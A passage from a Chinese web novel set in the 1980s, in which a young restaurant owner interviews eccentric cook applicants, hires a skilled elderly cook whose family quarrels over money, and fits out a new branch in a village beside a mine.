好厨子不是进了国营饭店,就是在政企食堂,有编制还稳当,说出去也体面。要不是实在没办法,谁也不乐意跳出安乐窝。 对于煤矿人家这样个体户开的小饭店来说,就有些麻烦了。 从头培养新手厨师吧,时间太紧任务太重,开新店的计划势必要被耽误,来不及啊;从外面招聘熟手厨师吧,不管是工资待遇还是社会地位,都没法和体制内相比。 这就犯难了。 要怎么办呢? 贺明珠想了个大海捞针的笨法子,在煤矿人家门口上贴了告示,以每月三十五元的工资,招聘有志厨师。 来来往往的客人们瞧见告示,有意无意间就把招人的消息散了出去,没过多久,整个一矿都知道,煤矿人家要招厨子了。 工资给的不算低,足足有三十五块呢,和一些不景气厂子的食堂相比,这待遇相当不错了。 一时间,自认为做饭挺好吃的家庭妇女,苦于无业的社会闲散青年,以及想要焕发事业第二春的退休老头老太太,纷纷涌向了煤矿人家。 贺明珠体验 了一把日面十人的HR生活。 但,十人不是应聘者的极限,而是贺明珠的极限。 毕竟她既要冲刺复习,又要在高峰期主厨,面试的时间都是硬挤出来的,再多没有了。 不面试不知道,一面试真是亲眼见证人类多样性,贺明珠自认是活了两辈子的人,也经常被应聘者的奇葩操作震惊得目瞪口呆。 比如—— 应聘者一号自称是做了半辈子饭的家庭主妇,手艺纯熟,做饭麻利,擅长家常菜,把家里大人小孩都喂得身强体壮。 光说不练假把式,贺明珠就给了她一颗白菜,让一号上灶试做一道菜。 一号拿着大白菜就是一顿操作,光是剥掉最外层干枯的老菜叶还不够,连着完好的上青下白的菜叶也一并剥掉,直到剥到最嫩的菜心,这才依依不舍地停下手来。 接着她又操起菜刀,把细嫩的白菜心横批竖切,切得细碎后直接扔锅里炒。 锅里汪了小半锅的油,灶台火小,锅没热,油也没热,白菜碎这么一下锅,冷油泡白菜,炒了半天,白菜没熟,每一片菜叶子均匀地裹了一层油。 贺明珠看看满地被丢弃的白菜叶子,再看看面前一盘子菜里半盘子油的炒白菜,沉默半响后开口: “大姨,您在家也是这么做饭的?” 一号爽朗地笑着说:“那肯定不能,自家做饭哪能这么浪费啊。你们这不是开着饭店呢,不差钱!” 贺明珠:…… 应聘者一号,淘汰。 一号遗憾不已,临走前问贺明珠:“哎姑娘,既然你不吃,那这盘菜我能端走吗?放了这么多的油,不吃怪可惜的。” 贺明珠微笑送客:“不行,再见,快走不送。” 大姨依依不舍地走了,这盘油汪碎白菜也没浪费。 贺明珠捞出白菜碎末,倒入水和面粉,加盐葱姜调味,和成流质面糊后,将掺着白菜碎的面糊捏成一颗颗的小丸子。 捞干净白菜碎的油则倒回了锅里,烧至七成热,将丸子下油锅,炸至金黄色后出锅。 一盘废物利用的白菜丸子外酥里嫩,口感扎实,刚炸出来时就被“路过”的贺明军和徐和平捻走好几个,吃完又“无意间”绕回来,继续朝盘子里的小丸子伸出魔爪。 田润花拘谨,不像这两个混不吝的家伙似的连吃带拿。 还是贺明珠主动让她尝尝,这才不好意思地挑了小个的丸子。 她才咬了一口就眼睛一亮,冲贺明珠竖大拇指:“小老板,你的手艺真是越来越好了,我还没吃过这么香的菜丸子呢。” 要不是应聘者一号做毁了菜,贺明珠也想不到做白菜丸子。 徐和平期待地问:“下一个面试的是谁?要不这次拿猪蹄让他试试?” 贺明珠冷笑一声:“做梦!” 有了一号的前车之鉴,应聘者二号没能展示手艺。 不过这人也实诚,当贺明珠问他会什么菜、做得怎么样时,他摸摸脑袋,说: “嗨,我跟你实话实说吧,我就没做过饭,打小连厨房也没进过几次,我上面有三个姐姐呢,我们家轮不到我做饭。” 贺明珠眉心一跳,努力和蔼地问道:“你不会做饭,那你为什么来我们饭店应聘厨师?” 二号诚实地说:“我没工作,这不得找个工作养活自己啊。你们饭店给开工资,虽然才三十五块,也算将就,能挣上钱就行。哎,你是老板吧,能不能给个准话,我什么时候能来上班啊?工资从哪天算起?现在是月中,你们这工资是按半月还是按整月发?” 贺明珠:“……再见!” 二号被徐和平和贺明军联手丢出饭店时,嘴里还在喊: “哎哎哎,你们饭店怎么回事儿啊?!我不就是不会做饭吗?谁说厨子一定得会做饭啊!” 轮到三号时,贺明珠已经别无他求,只求应聘者是个会做饭的正常厨师。 应聘者三号看起来很正常,标准的厨师长相,应了那句俗语“头大脖子粗,不是老板就是伙夫” ——严谨地说,这人没能手拿大哥大、脚踩桑塔纳,还要亲自来饭店应聘,应该是伙夫。 三号进了饭店,里里外外环视一圈,拉开椅子,大马金刀地坐下,不待贺明珠开口,率先问道: “你们这店怎么这么小?这么点的店招得起厨子吗?个体户也能开饭店了,这可真是现在政策好了,要是搁以前,你们这都得被割资本主义尾巴!” 这人说话不客气,贺明珠也不客气,直接反问道: “你以前做过厨师吗?会做几个菜?为什么在原来地方待不下去?是手艺不行,还是和领导同事有矛盾?” 三号被戳到痛处,一时语塞,缓过来气就来爹贺明珠。 “你一个小姑娘懂什么?你们家大人在哪儿,我可不能和不懂事儿的小姑娘谈,要谈也得是和男人。女人家头发长见识短,你们懂什么做菜?” 贺明珠站起来,居高临下地说:“我就是煤矿人家的老板,也是这家店的主厨。你要么就和我谈,要么你现在就出去。” 一听这话,徐和平立刻狗腿地去把饭店大门打开了。 门外的风哗哗地吹进来,三号干笑两声,主动缓和语气,给自己找了个台阶下。 “行了行了,不说那些有的没的,我来你们店,你们给我分几成利润?我可丑话说在前面,低于三成的话,我可不干!” 贺明珠:…… 贺明珠用尽了全部了教养,才没把一句“你做梦”吼出来。 还三成的利润,他怎么不去抢啊! ——算了,在招聘厨师这件事上,她还是有点追求吧,也不能太别无他求了。 当贺明珠觉得在一矿已经找不到合适的厨师时,一个穿着蓝布工服的老头走了进来。 “听说你们饭店招厨师?” 贺明珠有气无力地说:“对,招厨师,每月三十五块工资,多了没有。” 老头又问:“你对厨师有什么要求吗?比如说会烧大菜,刀工过硬,煎炸炒烤煮样样精通,能做招待菜和贵宾菜,能同时处理数十人的用餐……” 贺明珠继续有气无力道:“没有,只一条,厨师要会做饭。” ——金三太阳是多么英明的一位大统领,“消防栓里要有水”果然是旷世名言,引申出来,厨师也必须会做饭。 老头笑了,说:“厨师当然要会做饭。” 接着他对贺明珠说:“小姑娘,你就是这家店的老板吧?” 贺明珠颔首,老头又说:“嘴上说得天花乱坠也没用,只有厨房里才能见真章。你要是不介意的话,我给你露一手?” 听到这话,贺明珠提起了精神。 这位老头是所有来应聘的厨师中,外形最整洁干净,说话做事最有条理的一位了。 在经历了各式的奇葩应聘者后,贺明珠此时竟不由得生出一丝期待。 说不定,这次还真能找到一位合适的厨师呢? 依旧是一颗白菜。 老头不急不慌,围上了围裙,戴上了白色厨师帽,把花白的头发都仔细地掖进帽子中,确保没有一丝头发在外面乱晃。 接着,他将工服袖子撸到胳膊肘的位置,拿肥皂细细地洗干净手上胳膊上的每个缝隙。 光是这一步就让贺明珠眼前一亮。 很久没有见到这么有卫生意识、注意干净的厨师了! 老头亲自从白菜堆里挑了一颗青口大白菜,菜叶青绿,菜帮厚实,整颗白菜长得大而粗壮,一看吃起来就很有韧劲儿。 一般这样的白菜并不是做菜的上选,因为太成熟了,没有小白菜的薄嫩鲜甜,菜质粗糙,吃起来有点难嚼,还有点塞牙。 但老头将这颗大白菜拿在手中,左右看看,很满意的样子。 选好后,他只剥掉了最外层有些干枯的那层菜叶子,接着将大白菜从中间一劈两半,顶上的菜叶放在一边,留待后用。 带着一小段菜叶的白菜帮子则被一层一层地剥下来,竖着从中切开,最里面的白菜心取出来,也放在一边。 说起来这年头北方水果少,除了苹果和梨以外,就是樱桃柿子杏,但也只有应季的时候才吃得到。 因此,甜滋滋的白菜心就成了别样的水果。各家各户在做白菜时,经常会将白菜心切下来,留给孩子当零嘴吃。 老头拿着菜刀,将白菜细致地斜切成片,确保每片上都有乳白的菜帮和青绿的菜叶。 锅里烧油,油温七成热时下入切好的白菜,直到将其炸至半透明的微黄色后,捞出控油。 剩下的油也没浪费,放出几颗花椒,炸香后捞出 花椒,再用葱姜炝锅。 等锅里的葱姜香味出来时,老头快手将盘中白菜用铲子推回锅里,加盐糖翻炒。此时,炒菜的香味就已经出来了。 这还不够,老头舀了一勺子醋,轻轻沿着锅边一淋,刺啦一声,高温作用下,醋的香味猛然炸开,酸香浓郁,勾人食欲。 一盘醋溜白菜出锅,色泽鲜亮,味道诱人。锅里的汁收得干净,盘子中没有多余汤汁,利利落落的一盘菜,看着品相就漂亮极了。 剩下的白菜叶子和白菜心也没浪费。 白菜心切细丝,加酱油醋味精白糖调味,淋上一勺炝好的辣椒油,就是一道酸辣爽口的凉菜。 白菜叶子做成了汤,放了豆腐和粉丝,又汆了几个小丸子进去,汤色清澈,滋味鲜美清淡。 只用一颗大白菜,老头就做出了三道菜,有凉有热有汤,可谓是一菜三吃。 贺明军和徐和平被老头娴熟的厨艺吸引过来,抱着碗和筷子围坐在桌旁。 贺明珠说一句:“都尝尝吧。” 两人二话不说,拿起筷子就冲着三道菜下手。 贺明珠也夹菜品尝,醋溜白菜酸香开胃,凉拌白菜心酸辣爽脆,白菜丸子粉丝汤味道鲜美,三道菜无疑都是水平线以上的美味。 和之前死在应聘者一号手下的白菜相比,这颗青口大白菜的菜生,值了。 老头脱下围裙,将用过的刀和案板各自归位,又找了块抹布,把灶台边油渍溅到的地方擦得干干净净,恢复成使用之前的模样。 贺明珠见了,不由得在美食的基础上,对老头的好感度+1+1再+1。 她问老头:“怎么称呼您?” 老头笑了笑:“我叫冯解放,您就叫我冯厨子吧。” 贺明珠当然不会称呼老头为冯厨子,而是客气地说: “冯师傅,您做的菜挺好吃的,您的手艺也很好,一看就是从大饭店出来的。只是我有一点不明白,您看着还没到退休的年纪,为什么会想到我们这家小饭店来工作呢?” 冯解放明白老板在顾虑什么,坦诚地说: “嗨,什么大饭店,我原来是在一矿食堂上班的。这不和食堂领导有矛盾,人家看我不顺眼,我待着也心烦,干脆就办了内退,让我大儿子接班去了。” 贺明珠不解道:“既然退休了,您可以享受退休后轻松舒适的生活,含饴弄孙,每天心情好久给家里人做做饭,让自家人也尝尝您的好手艺。为什么还要出来找工作呢?” 冯解放苦笑着说:“我大儿子结婚把家里的积蓄都花光了,他又把我工作给顶了。但下面小的念书的念书,待业的待业,我这没了工资,就那一点退休金,哪儿养得起一家子人啊。这不得找点活儿干,给家里再攒点钱吗?” 贺明珠这下明白了。 冯解放问:“老板,你要是看我这手艺还过关的话,能不能让我留下?做厨师也行,打下手也行,都行,只要能在饭店上班就行。我围着锅台干了一辈子,除了做菜,别的都不会干。” 他挺不好意思的,一辈子没求过人,但家庭的压力迫使他厚着老脸求一份工作。 冯解放坦诚,她也坦诚。 “冯师傅,我这家店属于个体户,虽然说起来没有您之前在一矿食堂稳当,但生意还不错,每天客人不少。我们这儿正好缺个厨子,您要是不嫌工资低的话,就留下来吧。” 冯解放高兴地说:“不嫌!不嫌!” 终于,在经历数个奇葩的应聘者后,贺明珠终于招到了靠谱的厨师。 这一边,贺明珠挺高兴的,另一边,冯解放也挺高兴的。 他脚步轻快地回了家,告诉老妻自己找到了新工作,明天就去上班。 每个月的工资虽然只有三十五块钱,没有他在一矿食堂上班的时候工资高,但也能供得起几个孩子求学读书。 老妻高兴不已,要在晚上给他庆祝一下,炒花生米配二锅头,再买点猪下水,给老头子卤下酒菜。 晚上,大儿媳妇下班回来,一进门就闻到厨房里传来浓浓的卤味香气,耳中还听到冯解放老两口屋子里传来的欢声笑语。 她皱起眉头,甩手进了她和大儿子住的厢房。不一会儿,厢房里就传来孩子的哭闹声。 声音越来越大,是小孩从厢房跑出来,站在院中大哭。 大儿媳站在厢房门口叉着腰骂:“家里穷得吃了上顿没下顿,你爸那点儿工资还要养全家,早知道就不嫁给你们老冯家,也能让我过点好日子!” 冯解放的妻子想出去劝一劝,大晚上的别打孩子了,让家里人都高兴点。 冯解放拉住老妻,叹口气说:“算了,你把卤菜给老大家的端过去吧,晚上我们随便吃点吧。店里包饭,我明天去店里吃。” 老妻担心道:“这私人开的店,你去吃太多的话,会不会让老板不高兴?” 冯解放说:“没事儿,看老板不是这种小家子气的人,你就别操心了。” 院里小孩还在嚎哭,老妻气不过,端起卤菜走到院中,拿着筷子就给孩子喂了一口。 小孩吃到滋味浓郁的卤菜也顾不上哭了,连忙闭上嘴嚼嚼嚼,含糊不清地说:“奶奶,我还要!” 老妻慈爱地笑着说:“慢点吃,不急,还有呢。” 她余光看到大儿媳往这边瞅,故意提高了点音量,说:“你爷爷找到工作了,每月有工资,以后啊,咱们家天天都能吃肉。” 小孩脸上还挂着眼泪鼻涕呢,听到这话后,乐得在地上直蹦:“太好了!我们有肉吃了!爷爷太厉害了!” 老头子又找到工作了? 大儿媳听到这话,忙不迭地走过来,厚着脸皮说:“妈,爸有工作了?在哪儿上班啊?每个月发多少工资?” 老太太收起卤菜,慢条斯理地说:“工资可不少呢,饭店老板很重视你爸,一天也等不得,让他明天就去上班。哎呀,要不说人还是得有一门手艺,走哪儿都饿不着。这老头子也是劳碌命,非得找点活儿干,一辈子都闲不下来。” 大儿媳笑着说:“哪用得着爸这么辛苦,都退休了还上什么班,累了一辈子,在家休息休息多好。他有退休工资,现在又上班挣钱,一个人挣着两份钱,那真是比我们这些小年轻都不知强到哪里去了。” 嘴上夸着冯解放,大儿媳语气一转,又说:“唉,老大食堂效益不好,这每个月的工资是越来越低了。要不是还有我的一份工资,他那点工资连家都养不了……” 老太太瞟她一眼,知道她这是在卖惨,也不接话,听老大媳妇要说什么。 絮絮叨叨说了一串话,大儿媳终于说到重点:“既然爸又挣钱了,要不然,老大的工资就不交家里了?” 冯解放大儿子顶了他的工作,每个月就把工资的一半交到家里,帮父母养下面几个弟妹。 但大儿媳早就不满意了,时时刻刻都琢磨怎么把这一半工资要回来。养弟妹是父母的事,凭什么让他们做大的吃亏? 但冯解放退休后是真没钱了,家里的积蓄又花在大儿子结婚这件事上,下面还有好几个没成家的子女,老两口自然不肯松口。 大儿媳急了,每天找茬指桑骂槐,弄得家里乌烟瘴气。 要是以前,老太太也就当没听见她说的话,但现在冯解放又找着了工作,每个月能挣工资,加上退休金,算起来也不比退休前挣的少了。 因此,这次对于大儿媳的试探,老 太太底气十足地回击道: “老大的工资爱交不交,我们把他养大,又帮他成家立业,就算是尽了父母的义务了。将来他要怎样,就和我们做父母的无关了。” 老太太一硬气,大儿媳反倒心里开始嘀咕。 看来这次老头子的新工作能挣不少钱? 要是坚决不交工资,下一步说不定要分家,那以后老头子的家产可就和他们没关系了…… 想到这里,大儿媳神色一变,换上一副亲热谄媚的面孔,接过老太太手里的卤菜盘子,体贴地说: “妈,这话怎么能这么说呢,老大是您的儿子,是家里的长子,他又接了爸的班,对这个家是有责任的。这工资当然要交,不仅要交,还要多交。等老大回来了我就和他说去,爸妈辛苦养育我们一场,我们现在上班挣钱了,怎么能不回报家里呢?” 她还问老太太:“妈,您说是吧?” 老太太骄傲地一昂头,不说是也不说不是,留下一句“你们两口子商量吧”,慢悠悠背着手走了。 大儿媳站在原地,端着空盘子陷入沉思。 这老头子到底是去哪儿上班了呢? 要不然,让老大和老头子换一换,老头子回食堂,他去那家饭店上班? 嗨呀,谁能拒绝高工资的诱惑呢? 第82章 第82章新店开荒 冯解放很快就适应了煤矿人家的工作节奏。 别看老头年纪不小了,做起事来齐整利落,爱干净,有条理,还爱惜东西。 虽然说起来后厨食材不管用多用少,成本都是老板承担,但冯解放用起来很俭省,一点也不挥霍,身上丝毫没有那种国企出来的“公家的东西不用白不用”的穷大方习气。 从这点上看,冯解放就是位值得尊重的老爷子。 冯解放做了大半辈子厨师,有一套自己的做菜方式,在调味选用和食材搭配上与贺明珠有不同观念,做出来菜的口味也截然不同。 贺明珠喜欢发掘食材的本味,调料、刀工、火候都只是辅助,为的是最大程度上让食材发挥出其本身的美味。 这与她上辈子走南闯北、吃遍各地美食的经历有关,贺明珠口味广,什么新鲜食物都乐意尝一尝。 不管是蜜枣粽子还是鲜肉粽子,咸豆腐脑还是甜豆花,亦或是注重浇头的苏式细面和注重和面的北方拉面,贺明珠得说,她都爱,都到她的碗里来。 而冯解放正好相反,他从出生到现在,一辈子没离开过乌城,做的都是传统的浓油赤酱的北方菜。 乌城菜的口味偏咸,滋味厚重,不管是什么食材,都能用红烧、酱焖、炖煮的方式来做,出锅的菜能挂上一层厚厚的芡汁,吃起来舌头上沉甸甸的。 尽管在做菜观念上有差异,但冯解放并不是个抱着老一套不放的执拗老顽固。 当贺明珠要求他严格按照食谱来掌勺时,冯解放思索片刻后答应了。 要不怎么说老厨师都有两把刷子呢,他第一次按照食谱复刻的爆炒猪肝,吃起来的滋味就和贺明珠本人炒的八九不离十,一样的鲜辣爽脆,一口猪肝能下三口饭。 徐和平马上就找到了新的大腿,每天跟在冯解放身后,大爷长大爷短地叫着,哄得冯解放做员工餐时,一桌菜里有一半是他点的菜。 贼猫观察了冯解放几天,见他对猫挺客气的,日常还会将切剩下的肉类边角料煮一煮喂给它吃。 吃人嘴短,贼猫故作矜持地路过冯解放,有意无意用高高竖起的尾巴蹭了蹭老爷子的腿。 冯解放喊徐和平:“哎,小徐,这猫怎么总在我腿边蹭?是不是长虱子了,身上痒痒啊?” 贼猫:……就多余蹭他! 贼猫头也不回地就走了,高高竖起的尾巴也垂落下来。 徐和平对冯解放说:“也可能是春天发情了,我们小老板前两天还说要阉了它,正琢磨能不能找骟猪的来骟猫呢。” 贼猫听了,走得更快了,甩着尾巴就蹿出了煤矿人家的大门。 喵了个咪的,这破地方是不能待了! 冯解放在饭店扎下了根,和老员工徐和平、田润花都处得很好,还要让老妻给田润花介绍对象。 田润花婉拒了,在女儿成年之前,她不打算再找一个,怕委屈了孩子。 徐和平凑上来开玩笑:“大爷,也给我介绍个对象呗?” 冯解放笑骂:“就你小子,我可不干推人家姑娘进火坑的事儿。” 徐和平大呼冤枉,他现在可是个积极投身建设四化的社会主义好青年。 好青年不好青年的先放一边,贺明珠问徐和平:“分矿要开新店,你去不去?” 新店? 分矿离家属区远得很,坐公交要走一个多小时才能到。 那片儿偏僻极了,除了煤矿作业区之外,剩下的地方不是荒山,就是农田。 离得最近是一个小村子,人口少,村里只有一个小卖部,货物还不全。 要是去分矿新店上班的话,不仅每天花在路上的通勤时间要延长俩小时,而且上班期间想摸个鱼偷个懒也没地方可去。 徐和平思索片刻后,严肃地问贺明珠:“涨工资吗?涨工资就去。” 贺明珠拍板道:“涨,给你涨五块。” 徐和平刚来时候的工资是二十块钱,当时贺明珠怕他嫌累不干,拿美食钓着他,这才把这个好吃懒做的家伙留了下来。 现在徐和平很适应在饭店的工作,从规律的生活中品出点滋味,和以前饥一顿饱一顿完全不一样,有吃有喝有人聊天,还有一只对他爱答不理的大肥猫。 堂堂正正行走在阳光下,靠自己的双手挣出每一分都干干净净的钱。 现在再让徐和平回到那间院墙塌了一多半的老房子里,他自己也不乐意。 因此,虽然工资涨得不多,加起来也只有二十五块钱,比不上冯解放的三十五块,但徐和平已经很满意了,当即表态: “不就是去分矿吗?我去,当然要去!” 新店开在了分矿旁边,租用了附近村子的三间大瓦房。 瓦房是当年的知青点,村里人为欢迎知识青年下乡插队,特地在路边盖了一排瓦房,红砖黄瓦,最多的时候住了一百多个知青。 后来知青回城,这一排瓦房就空下来了,如今被贺明珠租下来作为煤矿人家的新店。 这个挨着分矿的小村子名叫郝家村,郝是村中大姓,还有一些其他姓氏的小姓。 郝家村的收入来源主要是务农,村里不富裕,大队也没什么钱,得知有人想要租空着的瓦房,二话不说就同意了,甚至连价格都没怎么谈,生怕人家嫌贵不租了。 贺明珠在周末的时候来了一趟,和村长谈好租房事宜,又用几张工业劵和村里人换了些木头,用来制作桌椅。 这些木头都是村人从附近山上砍的杨树,原本是准备用来打家具的,在室外晾了好几年,现在干的差不多,正好可以使用。 说起来杨木不是什么做家具的好木头,质地太软,容易变形,唯一的优点就是便宜,北方杨树多,长得快,拎一把斧头,上山砍了树回来,阴干上几年,就能用来做家具了。 村人们拿木头换了工业券很高兴,这可是难得一见的好买卖,工业劵这玩意太有用了,不仅能买暖壶缝纫机,还能买手表自行车。 国家不给农村人发票证,想要工业券,就得拿钱和城里人换,不仅贵还麻烦,有时候碰不到出手工业券的人,家里的铁锅底都破了,还得粘点牙膏皮继续将就着用。 如今有人主动拿着工业券来村里换不值钱的木头,这个郝家村都沸腾了。 贺明珠需要的木头一天就全都买齐了,后面还有人源源不断地送木头过来,最后不得不求助村长,让他用大喇叭宣布“工业券已发完,停收木头”的消息。 不少人扛着木头过来,走到半路后得知此消息,遗憾满满地又扛了回去。 有人不肯走,和贺明珠商量:“打家具不能严格按照尺寸,都要估个余量出来,要不你把俺木头收了,正好多余一点出来,不耽误你的事儿。” 贺明珠两手一摊:“你说得对,但没工业券了,都发完了。” 那人犹豫片刻,坚定地说:“粮票和钱也行!” 贺明珠:“ ……没粮票也没钱呢。” 那人挣扎了会儿,把木头往地上一放,破釜沉舟般说道:“木头先放你这儿,要是用的着,你再给俺补工业券;要是用不着的话,俺再搬回去。” 这一副不达目的不罢休的气势,贺明珠扶额,无奈道:“你就不怕我跑了吗?” 那人呲牙一笑,脸上尽是农民特有的小狡猾。 “跑不了呢,你租了俺们村的瓦房,以后要常来俺们村的。” 贺明珠绝倒。 村口大槐树下,一群妇女围坐在树下,身旁爬着胖娃娃,手里忙着针线活儿,有一句没一句地唠家常。 “他婶子,你们家木头拿去换工业券没?” “换了,一早就换了!俺家老头刚开始还不让把木头抬出去,说老三结婚要用,现在把木头卖了,年底结婚就没有新家具了。俺告诉他,木头什么时候都有,工业券可是过了这个村就没这个店了。给小两口添置一台缝纫机,不比打个柜子强吗?” “可不是这个道理嘛!” 有人问:“那城里来的小姑娘租咱村的瓦房干什么?自从知青都回去后,房子空了好几年没人住,咋地突然有人要租?” 知道内情的人说道:“听说是要开饭店呢,前两天找俺男人把炕拆了,重新垒了一排灶台,又找人改了烟道,现在那瓦房里还在折腾呢。” “哦哟,咱们村里谁去得起饭店吃饭,那不得把家里都吃穷啊。” 脑子转得快的人就说:“哎呀,饭店才不赚俺们这些老农民的钱,人家指望的是矿上的人来吃饭。分矿工资多高啊,一个月就能挣一百多块,去了饭店随便点菜,想吃啥就吃啥,顿顿都能吃肉!” 一群人啧啧惊叹,一百块的巨款啊,一家人使劲花也花不完吧! 还有人八卦道:“对了,你们听说了没,租房那小姑娘要招人干活嘞。” “干什么活?” “给饭店当服务员,一个月给发二十块钱工资!” 二十块钱! 农民辛苦一年才能挣到几个二十块? 一时间,大槐树下沸腾了,大家摩拳擦掌,互相打听怎么才能进饭店当服务员。 有人说要手脚麻利,有人说要爱干净,还有人说要长得好看,国营大饭店的服务员可都是漂亮的年轻姑娘。 不过,分店的服务员人选早已内定了,是郝村长的闺女。 这姑娘小学毕业后没继续读书,回家帮家里人干活。郝村长原本想帮她谋个村小学老师的工作,但前两年本村小学被合并到了隔壁村,一时间没有空缺的职位,只能作罢。 但这么大的闺女也不能成天在家里待着,郝村长一边谋工作,一边谋婆家,要是找不到合适工作,就找个好人家把闺女嫁出去。 这时候,贺明珠租了村里的房子开饭店,正缺一个服务员。 听说这饭店要在村里招服务员时,郝村长立马就把自家闺女叫出来给贺明珠看,问能不能让她去饭店干活? 郝村长考虑很全面,一方面是二十块钱的“高薪”,另一方面则是指望闺女在来吃饭的客人中找到合适的结婚对象。 毕竟分矿的工人普遍年轻未婚,有国企正式工作,有每个月一百多块钱的高工资,还有城市户口,吃着商品粮,方方面面来看都比村里这帮泥里打滚的黑小子强。 要是能在矿工中找到人结婚,那他闺女这一辈子都吃喝不愁了。 听到郝村长的请求,贺明珠正打算找地头蛇拜码头呢,顺水推舟就收下了他闺女。 以前在矿务局是自家主场,走哪儿都能见着熟人,干什么都方便,去哪里都安心。 但在分矿这边就不一样了。 这片区域远离矿务局,治安不太好,最安全的时候是荒无人烟,只需要防备山上下来觅食的野狼;最危险的时候是人声鼎沸,不知道外面的人只是想进来吃饭,还是想干点什么别的。 贺明珠没在分店这边过夜,都是当天去当天回,身边始终跟着一位自己人,不是贺明军就是贺明国,有时是徐和平。 毕竟徐和平不是贺家人,两位哥哥对他还有点不放心。 贺明珠倒是不担心徐和平,只是在陌生地界,防心还是要有的,八十年代的荒郊野岭,那是真有可能随机刷新出逃亡状态的连环杀人犯。 因此,和郝家村的人搞好关系,有百利而无一害,要是能被村人看作自己人,就算是有人来抢劫都不用担心了。 这就是为什么贺明珠宁愿吃点亏也要用工业券和村里人换木头,先把名声亮出去,让大伙儿都知道有这么一家新饭店,以后逐渐互利共赢,让新店真正扎根进这片土地中。 分矿新店前期由贺明军带着徐和平来开荒,这俩都是大小伙子,撑得住开荒的辛苦,也不用担心来回路上的安危。 等这边生意做起来了,再招聘新人,逐渐将贺明军和徐和平替换回矿务局。 与租用三产公司的房子不同,当时屋内已经是饭店的布局,前厅后厨,桌椅齐全,打扫屋子、消灭耗子后就能开业。 而郝家村这边的三间大瓦房原来是用来住人的,一间房里一半面积都是炕,横贯整个屋子,可以想象出当时知青下乡巅峰时期,满满当当睡了一炕人的盛况。 如今要改做饭店,就要将这些炕都拆掉,砸墙调整屋内布局,重新垒灶台,还有桌椅板凳也要找木匠制作,可谓是一项大工程。 两间房敲掉墙,合二为一用作饭店;一间则拆成两部分,一边是仓库。另一边是宿舍,错过末班公交车的话,可以在宿舍休息一夜。 拉拉杂杂干了一个多月,又等新垒的墙和灶台的水泥干透,将新做的桌椅都搬进去,三间瓦房这才有了个饭店的模样。 时值初夏,天气一日日地热起来了,夹袄再也穿不住,怕热的人已经开始穿起了短袖背心。 趁着周末,梁志胜拉着孙向前,拎了只猪头去分矿找贺明珠玩儿。 公交车上,孙向前把位置让给了一位卖完菜回村的老农,自己站到了车厢连接处。 与现代单一车厢的公交车不同,这辆公交车还是老式的通道车,一辆车上有两节车厢,中间由绞盘连结,连接处的外观看起来像是黑色的风琴褶,随着公交车的行驶而一伸一缩。 梁志胜一把将孙向前拉到后面的车厢,说:“好学生,这儿可不能站。” 孙向前拽着头顶的拉环,有些犹豫地问道:“我们不打招呼就去找贺同学,是不是不太好?” 梁志胜满不在乎地说:“你们好学生就是想得多,去就去了,贺明珠还能把咱俩撵出来不成?再说了,我可带了这——” 他举起猪头,炫耀似的给孙向前看。 “贺家开新店,照老礼开业前应该用三牲祭神,保佑他们家的生意兴旺。但我看贺家人都没这个意识,肯定没提前准备,我带个猪头过去,他们能不高兴吗?” 孙向前看向那只似乎在微笑的猪头,还是不太确定。 ——哪个女同学会因为看到了猪头而高兴啊? 这段时间贺明珠忙极了,一边是即将中考,她没日没夜 地捧着书背诵;另一边是新店开业,前期要处理的事情千头万绪,老店这边的生意也不能耽误,简直忙得恨不能一分为二。 新店这边弄得差不多了,再过几天就能正式开业。 分矿的工人们闻着味儿就来了,死皮赖脸要来试试菜。他们都是贺明国的同事,之前在澡堂子光着屁股围追堵截他,软磨硬泡下终于等来了在分矿开新店的曙光。 即使开业前还有一大堆杂七杂八的事情要做,这帮人蹭饭的心坚定不移,甚至下了班主动帮忙干活,只求贺明军腾出手来,给他们做几道菜。 贺明军无奈,只好找村里人买了蔬菜和生鸡,做熟了给这帮子饕餮投喂。 不吃则已,一吃就没完没了。 饕餮们爱上这一口,每天下班后也不急着坐公交回家了,呼朋唤友来新店干活,硬生生将施工时长缩短了三分之一。 还有人会泥瓦匠的手艺,拎着个小铲子,上房掀瓦下地翻砖,从内而外将三间大瓦房整修了一个遍,也不要钱,管饭就行。 这贺明军能忍?必须得做顿大餐,把他们的胃都收服了。 贺明珠来得少,饕餮们光是吃贺明军的手艺就已经满足到不行了。 不过也有人舌头尖,品品味儿,说:“小老板她哥的手艺也不错,但我吃着,怎么感觉还差那么一点儿呢?” 贺明军不以为忤,反而很高兴地说:“我妹妹是我们家做饭最好吃的,可惜她自己最近忙,不然你们吃了她做的菜就知道什么才叫美食。” 饕餮们心向往之:小老板哥哥的手艺已经香得他们恨不能把舌头吞进肚子里了,这小老板做的菜得有多好吃啊…… 说曹操曹操到,这天,贺明珠来了。 她进门没多久,前后脚的,孙向前、梁志胜也来了。 见到这俩,贺明珠奇道:“你们怎么来了?谁告诉你们我在这儿的?” 孙向前腼腆地不说话,而梁志胜嘿嘿一笑,没有正面回答,抬手展示猪头。 “我们来庆祝你家开了新店~贺同学,管饭吗?” 贺明珠看到猪头,眼前一亮,笑眯眯地说: “管,必须管!看在猪头的面子上,这顿饭管定了!” 听了这话,梁志胜脚下一踉跄。 什么叫看在猪头的面子上,难道他梁某人的面子还不够大吗? 就算他在贺明珠跟前没什么面子,但看在孙向前这张小白脸的份上,他们两人的面子加起来总比猪头大吧? 贺明珠接过猪头,拎了拎份量,上下端详一遍,问道: “卤猪头、糟猪头、烧猪头、熏猪头……你们想吃哪种口味?” 听到这一串菜名,梁志胜口水下意识涌了出来。 ——要什么面子啊,有猪头还不够吗?! 他厚着脸皮说:“我能不能都吃啊?” 贺明珠爽朗道:“行啊,那今天我们就吃猪头宴吧!” 第83章 第83章留客烂猪头 有句诗说得好,留客烂猪头。 在传统的中餐饮食文化中,猪头一向被看作是上不得席面的下脚料,和猪脚、猪下水一个待遇,是穷人开荤的替代选择,算不上正经猪肉。 但贺明珠可不这么认为。 要靠外物彰显自身高贵的虚弱者才会对食材划分三六九等。 在她眼里,食物没有高低贵贱,只有好吃和不好吃的区别。 肥肠好吃,榴莲好吃,螺蛳粉好吃,猪头肉也很好吃。 不过猪头虽好,但清洗起来实在是太麻烦了,又是血又是毛的,掰开猪嘴,里面还有脏不拉几的黏液,更不用说眼睛耳朵里的分泌物了。 梁志胜这家伙还特地从肉联厂挑了只最大的猪头,一看这体型就是养殖场的扛把子,獠牙都初具雏形,再养上几年,出去都能和野猪抢地盘了。 贺明珠嫌弃地拎着猪头,半天下不去手。 梁志胜还催她:“大厨,别等了,猪头宴!” 